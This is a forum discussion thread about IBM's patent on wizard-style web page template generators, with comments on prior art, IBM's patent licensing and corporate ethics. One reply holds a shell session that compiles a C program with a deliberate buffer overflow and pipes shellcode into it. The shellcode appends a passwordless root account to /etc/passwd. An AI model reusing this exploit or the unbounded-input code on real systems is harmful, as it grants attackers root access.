IBM Patents Web Page Templates

jalefkowit writes: "More follies from the US Patent & Trademark Office ... now IBM has been awarded US Patent #6,304,886 for software that automatically "generates [a] customized Web site without the Web site creator writing any HTML or other programming code", based on "a plurality of pre-stored templates, comprising HTML formatting code, text, fields, and formulas" that are then customized through the process of asking the user a few questions. In other words, they've patented the ubiquitous wizards found in FrontPage and other newbie-oriented HTML editors. This was submitted to the USPTO on June 19, 1998 -- surely someone out there knows of prior art for this?"

Comments

Prior art, right here!

[oGMo]

A friend of mine (Nathan Anderson) wrote something that I believe is quite like this, and posted it right here to slashdot, a number of years ago. Here is the article. Judge for yourself. When he sees this he'll probably post something about it as well. Does this count as prior art?

actually i patended this in 1928:

[FFON]

the chord progression on a guitar, E, A, B.

all you r0x0rz 0w3 ME l00t!

Re:IBM, Come get me you skanky bastards

[image]

$ cat > example.c
#include <stdio.h>

int main (int argc, char** argv) {
char buff[100];
printf ("Please enter in your web text: ");
scanf ("%s", buff);
printf ("Your web page: %s\n", buff);
}
$ gcc -o example example.c
$ echo "0123457890123457890123457890123457890123457890123 45789012345789012345789012345789\xeb\x03\x5f\xeb\x 05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb\x30 \xc0\x88\x43\x0b\x31\xc9\x66\xb9\x41\x04\x31\xd2\x 66\xba\xa4\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31 \xc9\xb1\x41\x01\xf9\x31\xd2\xb2\x1f\x31\xc0\xb0\x 04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63 \x2f\x70\x61\x73\x73\x77\x64\x01\x77\x30\x30\x77\x 30\x30\x3a\x3a\x30\x3a\x30\x3a\x77\x30\x77\x30\x77 \x21\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a" | ./example
#

Re:Typical IBM

[cshotton]

IBM espouses so much about being an open company and promoting open things. And then they go and pull something like this. I seriously don't get this company. I really want to like them but more and more I can't.

If you own their stock, you have to love them. Their patents are very likely what kept IBM from disappearing in the mid- to late '80's. What you probably don't realize is that IBM has formalized the process of patenting just about everything their engineers do. So much so that they talk about their "Patent Factory" inside the company.

In 1982, IBM was generating less than $20 million a year in patent license revenue. Over the course of the next 10 years, they made a concerted effort to formalize their patenting process. The result is now an engine that flings off patents and licenses them to the tune of $1.7 billion per year, and that's 95% cash.

IBM has mastered the art of manipulating the industry via patents. Their standard tactic has been to quietly file a patent, publicly discuss the technology through their technology journals, generate a huge adoption for this seemingly public technology, then 3 years later drop the granted patent on the rest of the industry. Sun, Intel, and others work directly from IBM's playbook now, too.

In an increasingly competitive landscape, IBM has simply become very good at working the process that the government has put in place to protect intellectual property. If you don't like their business practices, don't buy their stock or their products. If you don't like the way the Patent and Trademark Office works, talk to your Congressman.

But don't bitch out IBM for working the system. They have a fiduciary responsibility to maximize shareholder value. That they wring it out of competitors to the tune of $1.7 billion a year is a credit to their foresight and the lack of initiative on the part of their competitors. It's not that they're smarter than everyone else. It's just that most people don't play the game well. And if you don't like the game, you can either stop playing or get someone to change the rules. The current rules don't say that IBM has to be nice to people who aren't smart enough to create their own patent portfolio.

And finally, for those who think that patents are evil or somehow inappropriate for software, processes, and "obvious" inventions, consider this. There is a 100% direct correlation to a country's GDP, the strength of its intellectual property protections, and the number of patents filed by its citizens. If you want to rot in some Third World hovel while you and your buddy take turns pedaling the generator that powers your '386 laptop while you tweak the latest kernel hacks, then see what happens if you overturn the US system for protecting innovation. In the meantime, the rest of us will enjoy the fruits of an economy created by companies that work and a government that protects their work.

Re:Profit Motive as Justification

[Savage Henry Matisse]

The responsibility they have to their shareholders to make as much money as possible precludes any moral compunction they may have.

Sorry, incorrect. If that were the case, then the company would, by definition, not have any moral compunction (seeing as how they always must be making money, so the moral compunction is constantly precluded.) If the company had no moral compunction, then there would be no reason for them to follow any laws (feel free to debate this, but the fact of the matter is that you honor laws because you feel it is right to do so, not because you fear punishment-- everyday everyone of us has a million oppertunites to flaunt many a piddling law [speeding, seatbelt laws, petty theft, murder, rape, arson, "file sharing"] without detection, and yet we generally do not choose to do so. As such, what is making you follow those laws? Nothing more than you general moral compunction. Furthermore, since you've no doubt broekn many laws and not found yourself punished, why is it that you follow any laws at all, when you know fully well taht you cannot possibly be caught? Or, even better, that being caught cannot possibly hurt you? So, you honor laws because you're moral, not because you live in constant, debilitating fear of some draconian, spanking-father super-survellience Man.) So, if you have no moral compunction and if your highest motive is profit, then you are obligated to get into teh most profitable concievable business. That business is the dealing of addictive substance (with a relatively low production/conversion cost, no quality control, and a vertical demand curve.)

Do most corporations deal crack? Well, then, I guess there's some fucking morality out there afterall, you dim fucking shits.